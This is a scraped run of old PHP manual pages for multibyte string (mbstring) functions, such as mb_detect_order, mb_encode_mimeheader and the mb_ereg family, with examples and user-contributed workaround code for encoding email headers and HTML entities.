for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png
add a note add a note

后退 | 起点 | 前进
mb_decode_numericentity | 上一级 | mb_detect_order


mb_detect_order

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_order -- Set/Get character encoding detection order

Description

mixed mb_detect_order ( [mixed encoding_list] )

mb_detect_order() sets automatic character encoding detection order to encoding_list. It returns TRUE for success, FALSE for failure.

encoding_list is array or comma separated list of character encoding. ("auto" is expanded to "ASCII, JIS, UTF-8, EUC-JP, SJIS")

If encoding_list is omitted, it returns current character encoding detection order as array.

This setting affects mb_detect_encoding() and mb_send_mail().

注: mbstring currently implements following encoding detection filters. If there is an invalid byte sequence for following encoding, encoding detection will fail.

注: UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

For ISO-8859-*, mbstring always detects as ISO-8859-*.

For UTF-16, UTF-32, UCS2 and UCS4, encoding detection will fail always.

例子 1. Useless detect order example

; Always detect as ISO-8859-1
detect_order = ISO-8859-1, UTF-8

; Always detect as UTF-8, since ASCII/UTF-7 values are
; valid for UTF-8
detect_order = UTF-8, ASCII, UTF-7

例子 2. mb_detect_order() examples

<?php
/* Set detection order by enumerated list */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* Set detection order by array */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* Display current detection order */
echo implode(", ", mb_detect_order());
?>

See also mb_internal_encoding(),
mb_http_input(),
mb_http_output() and
mb_send_mail().

add a note add a note User Contributed Notes
ben at sixg dot com
21-Apr-2004 11:31
Note that as of mbstring.c version 1.142.2.31, first released as PHP 4.3.4RC3, "auto" has changed meaning.  It used to be configured based on #defines, so it was set at compile time, so for precompiled binary users (esp. Windows users) it has always been the same (Japanese mode).  However, it is now based on the language that mbstring is configured for at runtime.  (setlocale() doesn't affect this though)  Running on English Windows at least, mbstring defaults to a "neutral" mode which results in an "auto" list of "ASCII, UTF-8".  So, the point is, for PHP 4.3.4 or newer, you probably want to either use mb_language("Japanese") followed by mb_detect_order("auto"), or just hardcode your detect order with mb_detect_order("ASCII, JIS, UTF-8, EUC-JP, SJIS").  (Also note that mb_language() alone won't do it, you'll have to set the detect order to "auto" _after_ calling mb_language().)
add a note add a note

后退 | 起点 | 前进
mb_detect_encoding | 上一级 | mb_encode_mimeheader


mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_mimeheader -- Encode string for MIME header

Description

string mb_encode_mimeheader ( string str [, string charset [, string transfer_encoding [, string linefeed]]] )

mb_encode_mimeheader() encodes a given string str by the MIME header encoding scheme. Returns a converted version of the string represented in ASCII.

charset specifies the name of the character set in which str is represented in. The default value is determined by the current NLS setting (mbstring.language).

transfer_encoding specifies the scheme of MIME encoding. It should be either "B" (Base64) or "Q" (Quoted-Printable). Falls back to "B" if not given.

linefeed specifies the EOL (end-of-line) marker with which mb_encode_mime_header() performs line-folding (a RFC term, the act of breaking a line longer than a certain length into multiple lines. The length is currently hard-coded to 74 characters). Falls back to "\r\n" (CRLF) if not given.

例子 1. mb_encode_mimeheader() example

<?php
$name = ""; // kanji
$mbox = "kru";
$doma = "gtinn.mon";
$addr = mb_encode_mimeheader($name, "UTF-7", "Q") . " <" . $mbox . "@" . $doma . ">";
echo $addr;
?>

注: This function isn't designed to break lines at higher-level contextual break points (word boundaries, etc.). This behaviour may clutter up the original string with unexpected spaces.

See also mb_decode_mimeheader().

add a note add a note User Contributed Notes
chappy at citromail dot hu
05-Jun-2006 07:33
I found a bad function.

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
   preg_match_all('/(\\w*[\\x80-\\xFF]+\\w*)/', $input, $matches);
   foreach ($matches[1] as $value) {
       $replacement = preg_replace('/([\\x80-\\xFF])/e', '"=" . strtoupper(dechex(ord("\\1")))', $value);
       $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
   }
   return $input;
}
?>

This function should be used:

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
   $m=preg_match_all('/(\w*[\x80-\xFF]+\w*)/', $input, $matches);
   if($m)$input=mb_encode_mimeheader($input,$charset, 'Q');
   return $input;
}
?>
stormflyCUT at hyh dot pl
05-May-2006 07:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
paravoid
02-Jan-2006 09:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
   if (!$charset)
       $charset = mb_internal_encoding();

   $start = "=?$charset?B?";
   $end = "?=";
   $encoded = '';

   /* Each line must have length <= 75, including $start and $end */
   $length = 75 - strlen($start) - strlen($end);
   /* Average multi-byte ratio */
   $ratio = mb_strlen($string, $charset) / strlen($string);
   /* Base64 has a 4:3 ratio */
   $magic = $avglength = floor(3 * $length * $ratio / 4);

   for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
       $magic = $avglength;
       $offset = 0;
       /* Recalculate magic for each line to be 100% sure */
       do {
           $magic -= $offset;
           $chunk = mb_substr($string, $i, $magic, $charset);
           $chunk = base64_encode($chunk);
           $offset++;
       } while (strlen($chunk) > $length);
       if ($chunk)
           $encoded .= ' '.$start.$chunk.$end.$linefeed;
   }
   /* Chomp the first space and the last linefeed */
   $encoded = substr($encoded, 1, -strlen($linefeed));

   return $encoded;
}
nigrez at nius dot waw dot pl
14-Dec-2005 07:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
   $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

   $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org
07-Nov-2005 09:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
   $pos = 0;
   // after 36 single bytes characters if then comes MB, it is broken
   // but I trimmed it down to 24, to stay 100% < 76 chars per line
   $split = 24;
   while ($pos < mb_strlen($string, $encoding))
   {
       $output = mb_strimwidth($string, $pos, $split, "", $encoding);
       $pos += mb_strlen($output, $encoding);
       $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
       if ($_string)
           $_string .= "\r\n";
       $_string .= $_string_encoded;
   }
   $string = $_string;
   return $string;
}

?>
chappy at citromail dot hu
29-Oct-2005 02:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
   $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
   return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, ','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org
16-Sep-2005 02:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
   $string_array = array();
   $pos = 0;
   $row = 0;
   $mode = 0;

   while ($pos < mb_strlen($string)) {
       $word = mb_strimwidth($string, $pos, 1);
       if (!$word) {
           $word = mb_strimwidth($string, $pos, 2);
       }
       if (mb_ereg_match("[ -~]", $word)) {    // ascii
           if ($mode != 1) {
               $row++;
               $mode = 1;
               $string_array[$row] = NULL;
           }
       } else {                                // multibyte
           if ($mode != 2) {
               $row++;
               $mode = 2;
               $string_array[$row] = NULL;
           }
       }
       $string_array[$row] .= $word;
       $pos++;
   }

   //echo "<pre>";
   //print_r($string_array);
   //echo "</pre>";

   foreach ($string_array as $key => $value) {
       $value = mb_convert_encoding($value, $encoding);
       $string_array[$key] = mb_encode_mimeheader($value, $encoding);
   }

   //echo "<pre>";
   //print_r($string_array);
   //echo "</pre>";

   return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com
15-Mar-2005 05:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
   mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org
30-Jul-2003 03:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works
masataka
12-Apr-2003 10:46
second parameter 'charset' is character encoding name, but default must be UTF-8 on PHP4.3.1.
add a note add a note

后退 | 起点 | 前进
mb_detect_order | 上一级 | mb_encode_numericentity


mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_numericentity -- Encode character to HTML numeric string reference

Description

string mb_encode_numericentity ( string str, array convmap [, string encoding] )

mb_encode_numericentity() converts specified character codes in string str from HTML numeric character reference to character code. It returns converted string.

convmap is array specifies code area to convert.

encoding is character encoding.

例子 1. convmap example

$convmap = array (
int start_code1, int end_code1, int offset1, int mask1,
int start_code2, int end_code2, int offset2, int mask2,
........
int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN, then
// it converts value to numeric string reference.

例子 2. mb_encode_numericentity() example

<?php
/* Convert Left side of ISO-8859-1 to HTML numeric character reference */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* Convert user defined SJIS-win code in block 95-104 to numeric
   string reference */
$convmap = array(
       0xe000, 0xe03e, 0x1040, 0xffff,
       0xe03f, 0xe0bb, 0x1041, 0xffff,
       0xe0bc, 0xe0fa, 0x1084, 0xffff,
       0xe0fb, 0xe177, 0x1085, 0xffff,
       0xe178, 0xe1b6, 0x10c8, 0xffff,
       0xe1b7, 0xe233, 0x10c9, 0xffff,
       0xe234, 0xe272, 0x110c, 0xffff,
       0xe273, 0xe2ef, 0x110d, 0xffff,
       0xe2f0, 0xe32e, 0x1150, 0xffff,
       0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

See also mb_decode_numericentity().

add a note add a note User Contributed Notes
dan at boxuk dot com
27-Feb-2003 01:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
   $f = 0xffff;
   $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
   %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
   %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
   8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
   8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
   8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
   8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
   8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
   8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
   8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
   8730, 8730, 0, $f, 8733, 8734, 0, $f, 8736, 8736, 0, $f,
   8743, 8747, 0, $f, 8756, 8756, 0, $f, 8764, 8764, 0, $f,
   8773, 8773, 0, $f, 8776, 8776, 0, $f, 8800, 8801, 0, $f,
   8804, 8805, 0, $f, 8834, 8836, 0, $f, 8838, 8839, 0, $f,
   8853, 8853, 0, $f, 8855, 8855, 0, $f, 8869, 8869, 0, $f,
   8901, 8901, 0, $f, 8968, 8971, 0, $f, 9001, 9002, 0, $f,
   9674, 9674, 0, $f, 9824, 9824, 0, $f, 9827, 9827, 0, $f,
   9829, 9830, 0, $f,
/* <!ENTITY % HTMLspecial PUBLIC "-//W3C//ENTITIES Special//EN//HTML">
   %HTMLspecial; */
/* These ones are excluded to enable HTML: 34, 38, 60, 62 */
     338,  339, 0, $f,  352,  353, 0, $f,  376,  376, 0, $f,
     710,  710, 0, $f,  732,  732, 0, $f, 8194, 8195, 0, $f,
   8201, 8201, 0, $f, 8204, 8207, 0, $f, 8211, 8212, 0, $f,
   8216, 8218, 0, $f, 8218, 8218, 0, $f, 8220, 8222, 0, $f,
   8224, 8225, 0, $f, 8240, 8240, 0, $f, 8249, 8250, 0, $f,
   8364, 8364, 0, $f);

   return mb_encode_numericentity($utf2html_string, $convmap, "UTF-8");
}
add a note add a note

后退 | 起点 | 前进
mb_encode_mimeheader | 上一级 | mb_ereg_match


mb_ereg_match

(PHP 4 >= 4.2.0)

mb_ereg_match -- Regular expression match for multibyte string

Description

bool mb_ereg_match ( string pattern, string string [, string option] )

mb_ereg_match() returns TRUE if string matches regular expression pattern, FALSE if not.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_encode_numericentity | 上一级 | mb_ereg_replace


mb_ereg_replace

(PHP 4 >= 4.2.0)

mb_ereg_replace -- Replace regular expression with multibyte support

Description

string mb_ereg_replace ( string pattern, string replacement, string string [, string option] )

mb_ereg_replace() scans string for matches to pattern, then replaces the matched text with replacement and returns the result string or FALSE on error. Multibyte character can be used in pattern.

Matching condition can be set by option parameter. If i is specified for this parameter, the case will be ignored. If x is specified, white space will be ignored. If m is specified, match will be executed in multiline mode and line break will be included in '.'. If p is specified, match will be executed in POSIX mode, line break will be considered as normal character. If e is specified, replacement string will be evaluated as PHP expression.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_eregi_replace().

add a note add a note User Contributed Notes
vondrej(at)gmail(dot)com
27-Feb-2006 07:47
Are you looking for htmlentities() for multibyte strings? This might help you - it just replace <, >, ", '

/**
 *  Multibyte equivalent for htmlentities() [lite version :)]
 *
 * @param string $str
 * @param string $encoding
 * @return string
 **/
function mb_htmlentities($str, $encoding = 'utf-8') {
   mb_regex_encoding($encoding);
   $pattern = array('<', '>', '"', '\'');
   $replacement = array('&lt;', '&gt;', '&quot;', '&#39;');
   for ($i=0; $i<sizeof($pattern); $i++) {
       $str = mb_ereg_replace($pattern[$i], $replacement[$i], $str);
   }
   return $str;
}
faxe at neostrada dot pl
10-Aug-2005 06:52
A simple mb_str_ireplace() implementation - a faster (?) replacement for non-regexp multi-byte string replacement:

[code]
function mb_str_ireplace($co, $naCo, $wCzym)
{
   $wCzymM = mb_strtolower($wCzym);
   $coM    = mb_strtolower($co);
   $offset = 0;

   while(($poz = mb_strpos($wCzymM, $coM, $offset)) !== false)
   {
       $offset = $poz + mb_strlen($naCo);
       $wCzym = mb_substr($wCzym, 0, $poz). $naCo .mb_substr($wCzym, $poz+mb_strlen($co));
       $wCzymM = mb_strtolower($wCzym);
   }

   return $wCzym;
}[/code]
add a note add a note

后退 | 起点 | 前进
mb_ereg_match | 上一级 | mb_ereg_search_getpos


mb_ereg_search_getpos

(PHP 4 >= 4.2.0)

mb_ereg_search_getpos -- Returns start point for next regular expression match

Description

int mb_ereg_search_getpos ( void )

mb_ereg_search_getpos() returns
the point to start regular expression match for
mb_ereg_search(),
mb_ereg_search_pos(),
mb_ereg_search_regs(). The position is
represented by bytes from the head of string.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_setpos().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_replace | 上一级 | mb_ereg_search_getregs


mb_ereg_search_getregs

(PHP 4 >= 4.2.0)

mb_ereg_search_getregs -- Retrieve the result from the last multibyte regular expression match

Description

array mb_ereg_search_getregs ( void )

mb_ereg_search_getregs() returns an array including the sub-string of matched part by last mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). If there are some maches, the first element will have the matched sub-string, the second element will have the first part grouped with brackets, the third element will have the second part grouped with brackets, and so on. It returns FALSE on error;

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_getpos | 上一级 | mb_ereg_search_init


mb_ereg_search_init

(PHP 4 >= 4.2.0)

mb_ereg_search_init -- Setup string and regular expression for multibyte regular expression match

Description

bool mb_ereg_search_init ( string string [, string pattern [, string option]] )

mb_ereg_search_init() sets string and pattern for multibyte regular expression. These values are used for mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). It returns TRUE for success, FALSE for error.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_regs().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_getregs | 上一级 | mb_ereg_search_pos


mb_ereg_search_pos

(PHP 4 >= 4.2.0)

mb_ereg_search_pos -- Return position and length of matched part of multibyte regular expression for predefined multibyte string

Description

array mb_ereg_search_pos ( [string pattern [, string option]] )

mb_ereg_search_pos() returns an array including position of matched part for multibyte regular expression. The first element of the array will be the beginning of matched part, the second element will be length (bytes) of matched part. It returns FALSE on error.

The string for match is specified by mb_ereg_search_init(). If it is not specified, the previous one will be used.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_init | 上一级 | mb_ereg_search_regs


mb_ereg_search_regs

(PHP 4 >= 4.2.0)

mb_ereg_search_regs -- Returns the matched part of multibyte regular expression

Description

array mb_ereg_search_regs ( [string pattern [, string option]] )

mb_ereg_search_regs() executes the multibyte regular expression match, and if there are some matched part, it returns an array including substring of matched part as first element, the first grouped part with brackets as second element, the second grouped part as third element, and so on. It returns FALSE on error.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_pos | 上一级 | mb_ereg_search_setpos


mb_ereg_search_setpos

(PHP 4 >= 4.2.0)

mb_ereg_search_setpos -- Set start point of next regular expression match

Description

bool mb_ereg_search_setpos ( int position )

mb_ereg_search_setpos() sets the starting point of match for mb_ereg_search().

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_regs | 上一级 | mb_ereg_search


mb_ereg_search

(PHP 4 >= 4.2.0)

mb_ereg_search -- Multibyte regular expression match for predefined multibyte string

Description

bool mb_ereg_search ( [string pattern [, string option]] )

mb_ereg_search() returns TRUE if the multibyte string matches with the regular expression, FALSE for otherwise. The string for matching is set by mb_ereg_search_init(). If pattern is not specified, the previous one is used.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_search_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search_setpos | 上一级 | mb_ereg


mb_ereg

(PHP 4 >= 4.2.0)

mb_ereg -- Regular expression match with multibyte support

Description

int mb_ereg ( string pattern, string string [, array regs] )

mb_ereg() executes the regular expression match with multibyte support, and returns 1 if matches are found. If the optional third parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The functions returns 1 if it matches with the empty string. If no matches found or error happend, FALSE will be returned.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_eregi()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg_search | 上一级 | mb_eregi_replace


mb_eregi_replace

(PHP 4 >= 4.2.0)

mb_eregi_replace -- Replace regular expression with multibyte support ignoring case

Description

string mb_eregi_replace ( string pattern, string replace, string string [, string option] )

mb_ereg_replace() scans string for matches to pattern, then replaces the matched text with replacement and returns the result string or FALSE on error. Multibyte character can be used in pattern. The case will be ignored. option has the same meaning as in mb_ereg_replace().

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg_replace().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_ereg | 上一级 | mb_eregi


mb_eregi

(PHP 4 >= 4.2.0)

mb_eregi -- Regular expression match ignoring case with multibyte support

Description

int mb_eregi ( string pattern, string string [, array regs] )

mb_eregi() executes the regular expression match with multibyte support, and returns 1 if matches are found. This function ignore case. If the optional third parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The functions returns 1 if it matches with the empty string. If no matches found or error happend, FALSE will be returned.

The internal encoding or the character encoding specified in mb_regex_encoding() will be used as character encoding.

See also: mb_regex_encoding(), mb_ereg().

add a note add a note User Contributed Notes
steve at brainwashstudios dot com
10-Apr-2003 10:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.
add a note add a note

后退 | 起点 | 前进
mb_eregi_replace | 上一级 | mb_get_info


mb_get_info

(PHP 4 >= 4.2.0, PHP 5)

mb_get_info -- Get internal settings of mbstring

Description

mixed mb_get_info ( [string type] )

mb_get_info() returns internal setting parameter of mbstring.

If type isn't specified or is specified to "all", an array having the elements "internal_encoding", "http_output", "http_input", "func_overload" will be returned.

If type is specified for "http_output", "http_input", "internal_encoding", "func_overload", the specified setting parameter will be returned.

See also mb_internal_encoding(), mb_http_output().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_eregi | 上一级 | mb_http_input


mb_http_input

(PHP 4 >= 4.0.6, PHP 5)

mb_http_input -- Detect HTTP input character encoding

Description

mixed mb_http_input ( [string type] )

mb_http_input() returns result of HTTP input character encoding detection.

type: Input string specifies input type. "G" for GET, "P" for POST, "C" for COOKIE, "S" for string, "L" for list, "I" for whole list (will return array). If type is omitted, it returns last input type processed.

Return Value: Character encoding name. If mb_http_input() does not process specified HTTP input, it returns FALSE.

See also mb_internal_encoding(),
mb_http_output(),
mb_detect_order().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_get_info | 上一级 | mb_http_output


mb_http_output

(PHP 4 >= 4.0.6, PHP 5)

mb_http_output -- Set/Get HTTP output character encoding

Description

mixed mb_http_output ( [string encoding] )

If encoding is set, mb_http_output() sets HTTP output character encoding to encoding. Output after this function is converted to encoding. mb_http_output() returns TRUE for success and FALSE for failure.

If encoding is omitted, mb_http_output() returns current HTTP output character encoding.

See also mb_internal_encoding(),
mb_http_input(),
mb_detect_order().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_http_input | 上一级 | mb_internal_encoding


mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_internal_encoding -- Set/Get internal character encoding

Description

mixed mb_internal_encoding ( [string encoding] )

mb_internal_encoding() sets internal character encoding to encoding If parameter is omitted, it returns current internal encoding.

encoding is used for HTTP input character encoding conversion, HTTP output character encoding conversion and default character encoding for string functions defined by mbstring module.

encoding: Character encoding name

Return Value: If encoding is set,mb_internal_encoding() returns TRUE for success, otherwise returns FALSE. If encoding is omitted, it returns current character encoding name.

例子 1. mb_internal_encoding() example

<?php
/* Set internal character encoding to UTF-8 */
mb_internal_encoding("UTF-8");

/* Display current internal character encoding */
echo mb_internal_encoding();
?>

See also mb_http_input(),
mb_http_output() and
mb_detect_order().

add a note add a note User Contributed Notes
Joachim Kruyswijk
25-May-2006 03:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com
27-May-2005 07:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com
27-May-2005 02:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
   mb_internal_encoding("iso-8859-1");
   mb_http_output( "UTF-8" );
   ob_start("mb_output_handler");

   echo "<br/>";

   ?>

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
   mb_internal_encoding("UTF-8");
   mb_http_output( "UTF-8" );
   ob_start("mb_output_handler");

   echo "<br/>";

   ?>

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.
add a note add a note

后退 | 起点 | 前进
mb_http_output | 上一级 | mb_language


mb_language

(PHP 4 >= 4.0.6, PHP 5)

mb_language -- Set/Get current language

Description

mixed mb_language ( [string language] )

mb_language() sets language. If language is omitted, it returns current language as string.

language setting is used for encoding e-mail messages. Valid languages are "Japanese", "ja","English","en" and "uni" (UTF-8). mb_send_mail() uses this setting to encode e-mail.

Language and its setting is ISO-2022-JP/Base64 for Japanese, UTF-8/Base64 for uni, ISO-8859-1/quoted printable for English.

Return Value: If language is set and language is valid, it returns TRUE. Otherwise, it returns FALSE. When language is omitted, it returns language name as string. If no language is set previously, it returns FALSE.

See also mb_send_mail().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_internal_encoding | 上一级 | mb_list_encodings


mb_list_encodings

(PHP 5)

mb_list_encodings -- Returns an array of all supported encodings

Description

array mb_list_encodings ( void )

mb_list_encodings() returns an array with all supported encodings.

例子 1. mb_list_encodings() example

<?php

print_r(mb_list_encodings());

?>

上例将输出：

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mb_language | 上一级 | mb_output_handler


mb_output_handler

(PHP 4 >= 4.0.6, PHP 5)

mb_output_handler -- Callback function converts character encoding in output buffer

Description

string mb_output_handler ( string contents, int status )

mb_output_handler() is
ob_start() callback
function. mb_output_handler() converts
characters in output buffer from internal character encoding to
HTTP output character encoding.

4.1.0 or later version, this handler adds charset HTTP header when following conditions are met:

  • Does not set Content-Type by header()

  • Default MIME type begins with text/

  • http_output setting is other than pass

contents : Output buffer contents

status : Output buffer status

Return Value: String converted

例子 1. mb_output_handler() example

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

